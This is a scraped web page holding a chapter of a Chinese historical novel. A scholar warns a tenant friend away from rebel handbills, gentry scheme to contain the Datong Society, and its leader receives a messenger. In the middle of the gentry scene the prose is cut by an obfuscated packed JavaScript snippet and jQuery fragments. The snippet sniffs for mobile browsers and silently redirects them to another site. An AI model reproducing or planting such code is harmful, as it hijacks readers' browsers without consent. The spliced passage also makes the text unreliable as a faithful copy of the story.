默认冷灰
24号文字
方正启体

96. 利合

作者:糖炒栗子不放油本书字数:K更新时间:
    宁朝柱猛地抬头,看着激动而又焦急的王春,声音极其严肃地质问道,“春哥,东西哪来的?”


    王春被宁朝柱的反应吓了一跳,脸上露出害怕和慌张的神情,忙不迭解释,“是……我……好多人……是……”


    “春哥,你慢慢说。”意识到自己说了重话,宁朝柱连忙平复心情,劝慰他说,“这里只你我二人,你说甚么都无事,你慢慢说。”


    王春点点头,“路边歇脚的凉亭,还有风雨桥,贴了好多这种纸。听人说官道、渡口还会有人发。


    “不知纸上写了甚,我族中长辈、周老爷、你宁家族老,见了这纸便让人撕,不准我们偷偷留下,不准我们打听纸上写了甚么。


    “我好奇,便想着你帮我看看。”


    “春哥!”宁朝柱语气郑重地说道,“你千万听我的,莫管纸上写了甚么,也莫去打听不该知道的。


    “这纸上都是些蛊惑人心的东西,你看了陷进去,会害了你自己,害了你爷娘,还会害了你们王家。”


    王春悚然一惊,“真的?”


    “当然是真的!”宁朝柱万分肯定,“写这些东西的人,不过是哄骗着你们去与土豪大户,与乡绅官吏争斗。


    “你们出头送命,他们坐收渔翁之利。春哥,你千万莫上当。”


    “好,我听你的。”王春想也没想便答应下来,说着又露出憨厚的笑,“大家都说,你与我们不一样了。


    “你是读书人,以后是秀才公,是举人老爷,是要做官的。大柱子,我信你。”


    “不……”宁朝柱下意识地想反驳“他们不一样了”,但他一出口便意识到无论他如何否认,他们确实不一样了。


    尽管他连生员都不是,但他再也不是当初那个为人佣耕的氓隶了。


    宁朝柱沉默不语,王春说了几句话,让宁朝柱安心读书,家里他会帮忙照看,便爬上河岸走了。


    宁朝柱其实不着急返回义塾。今天半年节,加之他在义塾多次被先生夸奖勤奋、聪慧,先生和周老爷准了他半天假。


    但王春要走时,他却说不出话挽留。


    王春的脚步声渐渐远去,他有些茫然地坐回原地,看着地上拼接在一块的纸上的词句发愣。


    碎纸被风吹得四散,他涣散的眼神开始聚焦。


    风陡然大起来,散开的碎纸被鼓吹着在空中飞旋,他的目光随着纸蝴蝶向南,只见群山环绕的稻田之间,一群孩童肆意地追逐玩闹。


    他站起身,隐隐约约听到一阵欢快的喊唱声。


    “朝求升,暮求合,近来贫汉难存活。早早开门迎大同,管教大小都欢悦。


    “莫拜官,莫拜神,跟着大同建农联,穷人齐心把身翻。


    “减租息,禁奴役,减禁不了有大同。不当差,不纳捐,大家快活过一场。”①


    ……


    “不当差,不纳捐,大家快活过一场!”


    邵阳县万安里一处大宅的花厅里,代表周边大族之一杨氏到此的杨国孝咬着牙念出外面流传的歌谣,越念越气。


    他很是不忿地说道,“此实乃反歌,我等还要视而不见么?”


    坐在他上首的赵邦瑛捋着花白的胡子,笑呵呵说道,“视而见之又如何?你看粟世湘,沉不住气伤了人,又不肯认错,被大同社押到邵阳城报官。


    “呵,上千人围了邵阳城,叫嚷着要公道,吓得一城官吏连城门都不敢开。粟世湘若真有骨气也就罢了,在邵阳城下挂了一天,便哭着喊着要认错请罚。


    “吴思孝却晓得明哲保身,次日便带着家眷逃进邵阳城。粟吴两家不敢领头,开化里哪个敢忤逆大同社?要么随吴家进城,要么装缩头乌龟。”


    说着,赵邦瑛笑眯眯地看杨国孝,“杨贤弟是想学哪个?是要灰溜溜躲进城里,还是当一当缩头乌龟?或是学唐家、蒋家,做大同社的干将?”


    杨国孝瞪大眼睛,盛怒之下神情有些扭曲,然而赵邦瑛是实打实的生员,他却什么功名都没有,更别说赵家远不止赵邦瑛一个生员。


    这口气,他怎么也得咽下去。


    “难不成就这般放任大同社蛊惑佃户?”


    杨国孝忍着气质问赵邦瑛。


    “我等如何阻拦得了大同社的消息,到底不过十几里路。再这般放任,佃户越来越难管,只怕大同社还没来,彼等便要造反了。”


    赵邦瑛轻笑一声,“我等如何放任大同社了?如今大同社虽鼓噪了尚贤、温和、开化、二厢四里的百姓,却已被我等围困。


    “东北有何先生的何家,有你杨家、我赵家;东南有仁风里的尹家、刘家,中乡的敬家、罗家、宁家;西北有永成乡的伍家、刘家。


    “北边更不消说,不提彭龚两家、府城‘二李’,便是高家、朱家、曾家,又岂是好想与的?


    “至于西南的武冈、南边的东安,自然也有人盯着。大同社看着势大,却已被困在四里之地。


    “何况大同社心存幻想,守着它的‘天理’,万事全凭自愿,一切都讲‘公道’,我等便与它讲‘天理公道’。


    “我等不管大同社做甚么,大同社也莫想逼我等做甚么。便这般干耗下去,哪怕父母官不出兵,某也不信大同社撑得下去,养得活嗷嗷待哺的四里佃户!


    “到时候,只怕是它大同社承受不住那帮泥腿子的怒火了。”


    赵邦瑛冷哼一声,瞥向杨国孝,“当然,若是杨贤弟自信杨家斗得过大同社,我赵家定然全力支持,要钱给钱,别无二话。


    “况且,杨贤弟既如此忧心大同社,为何反对增设宝庆守备营之事?若有一营官兵坐镇,还怕甚大同社!”


    杨国孝嘴角抽搐一下。


    他若有本事自己去斗,便不会来此受气。


    至于守备营,那是护卫乡绅的官兵么?分明是来抢钱的官匪!反对的可不止他一人!


    他看了眼稳坐主位、一声不吭静静喝茶的何天安,心底的窝火化作不轻不重地两声哼哼。


    “赵兄想的周全,是在下思虑不周。在下家中尚有急事,便先走一步,请赵兄与何先生见谅!”


    身为主人,何天安此时也不好再装哑巴,表面自然是万分诚恳地挽留杨国孝。


    但杨国孝哪能看不出何天安是跟赵邦瑛站在一边的,留下不过是自讨没趣。


    杨国孝走后,何天安脸上的笑褪下去,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384359|159702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有些不满地看着赵邦瑛说道,“你何必如此气他?你再看不起他,如今这种时候,也得容下他。”


    赵邦瑛不以为然地说道,“某不过说了实话。现下等着官府发兵便是,挑衅大同社做甚?真以为某不知他的小心思?


    “心里怕大同社怕得很,撺掇我等去惹大同社,大同社真发了狠要报复我等,他杨家在富阳二里,自有梅塘里、万安乡的我等挡在前头,真真好算计!”


    他冷哼一声,“某看他,不过又是个黄兆龙之辈!”


    何天安叹了口气,“都到了这种时候,大家仍旧不齐心,所幸大同社想着与官府、与我等说和,行事有所顾忌,否则邵阳南乡、东乡,恐怕已无我等容身之地。”


    “大家的心何时齐过?”赵邦瑛脸上的嘲讽比杨国孝在时还要明显,“那太平乡的两家是如何说的?说大同社一心为民,只是做事偏激了些,真真可笑!


    “到底是彼等真的认同大同社,还是大同社被我等阻拦,彼等不受影响,因而不想掺和进来,免得损失财物,还招大同社的恨?


    “莫说我等这些不足轻重的人物,便说城里的官绅,便真的齐心想剿灭大同社?


    “守备营之议,虽是李吴滋借剿匪之事私自向上提请,但于本县并非坏事。可如今只新知府熊茂松仍在坚持。”


    “那李道台五月初便没露过面,说病重下不了床,到底是病了还是怕担责谁晓得?


    “那彭藩台,成日说大同社是邵阳毒瘤,喊大家保卫乡梓,迄今为止也没见他做出表率,到二厢与大同社和农联斗上一斗。


    “最可气的是李家,只因宝庆卫与大同社牵涉过深,便帮那贼社说话。偏他也忧心农联蛊惑他家佃户,一会说好话,一会说坏话,属实可笑。”


    赵邦瑛还想再说,何天安却打断了他,“好了,莫说了,在这里发发牢骚也就罢了,这些话千万莫再说了。”


    说着他又叹息一声,“唉,我等心不齐,好在大同社心也不齐。见风使舵的泥腿子不消说,待大同社喂不饱他们,或大同社被官兵击溃,他们自会抛弃大同社。


    “便是那贼妇族人,也不见得有多支持她和大同社。听闻那贼妇在温和里多次整肃族风,其族人私底下颇有怨言,认为她借着整肃之名清除异己、揽权揽财。


    “若非大同社以武力压迫,只怕她家族人都要反了她。”


    赵邦瑛深以为然,“以势交者,势尽则疏;以利合者,利尽则散。不外如是!”


    ……


    “社长,便是他在山口铺自曝身份,声称是王穉潜托他来传话的。”


    唐廷瀚身后,两个护乡队的队员立于左右,提防着一个长满络腮胡的健壮汉子。


    汉子相貌粗犷,眉目却带着温和的笑,总让人觉得有些别扭。


    刘今钰瞧他一眼,心里觉得有些眼熟。


    “王家二爷托老子带话给刘社长。”那汉子左看看右看看,嘿嘿笑了声,“都是些二爷托老子传的亲密话,老子可没脸当着这么多人面说。”


    唐廷瀚哼了一声,面向刘今钰时又露出担忧神色,“社长,此人虽有穉潜的信物,但一身的草莽气,不可不防。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)